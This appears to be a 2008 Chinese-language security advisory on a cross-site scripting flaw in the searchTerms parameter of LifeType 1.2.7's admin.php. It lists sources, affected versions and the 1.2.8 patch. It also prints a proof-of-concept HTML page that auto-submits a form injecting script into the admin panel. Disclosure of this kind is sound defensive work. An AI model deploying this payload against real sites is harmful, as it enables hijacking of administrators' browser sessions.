LifeType searchTerms参数跨站脚本漏洞(安全动态)

公司介绍

企业文化

员工心声

加盟安络

LifeType searchTerms参数跨站脚本漏洞 (Other,补丁)

涉及程序：

LifeType

描述：

LifeType searchTerms参数跨站脚本漏洞

详细：

LifeType是一款开放源码的博客平台。

LifeType的admin.php文件中没有正确过滤searchTerms参数输入便返回给了管理员，如果将op设置为editArticleCategories的话，允许远程攻击者通过跨站脚本攻击导致在管理员浏览器会话环境中执行任意HTML和脚本代码。

<*来源：IRCRASH

链接：http://secunia.com/advisories/30075/
http://marc.info/?l=bugtraq&m=120974373418533&w=2
*>

受影响系统：
LifeType LifeType 1.2.7
不受影响系统：
LifeType LifeType 1.2.8

攻击方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://Example/lifetype/admin.php?op=editArticleCategories"

method="POST" name="form">

<input type="hidden" name="searchTerms" value="" [XSS CODE]">

</form>
</body>
</html>

解决方案：

厂商补丁：

LifeType
--------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://prdownloads.sourceforge.net/lifetype/lifetype-1.2.8.tar.gz

附加信息：

无

发布时间：2008年5月7日